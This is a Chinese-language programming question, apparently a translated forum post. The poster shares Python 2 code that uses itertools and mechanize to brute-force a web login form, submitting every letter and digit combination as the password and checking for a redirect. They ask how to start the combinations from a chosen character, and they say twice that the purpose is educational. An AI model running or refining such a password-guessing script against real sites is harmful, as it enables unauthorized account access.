首先,我这样做只是为了教育目的,我不是想用这个来伤害任何人或者摧毁任何东西。
我有这样的代码:
start = 1
end = 2
for length in range(start, end+1):
for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
这将打印从A到Z的每个大写/小写字母,并且在所有字母完成后,它将开始打印从0到9的所有数字。所以它看起来像这样:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
完成第一个循环后,它继续第二个循环并执行相同的操作。像这样:
第一个周期开始:a
第二个周期开始:aa
等等。
这是我该怎么做的:
def loop1():
br.open("somewebsite")
start = 1
end = 2
for length in range(start, end+1):
for c in itertools.combinations_with_replacement(string.ascii_letters + string.digits, length):
br.select_form(nr=4)
br.set_all_readonly(False)
br.form['password'] = ''.join(c)
print "Testing",br.form['someform']
br.method = "POST"
response = br.submit()
if response.geturl()=="somewebsiteredirect":
print "Test is ",''.join(x)
break
这将填写表格,每个大写/小写字母和数字范围为2,当网站重定向到主页脚本时,将打印哪个组合有效。 (同样:我将其用于教育目的仅)
我想从特定字母或数字开始组合。
像这样:
组合1:
第一个周期开始:b
第二个周期开始:ba
如果不可能,那就这样:
组合2:
第一个周期开始:b
第二个周期开始:bb
那么可以使用Itertool从特定的字母/数字开始组合,并使用Mechanize将其输出放在HTML表单中吗?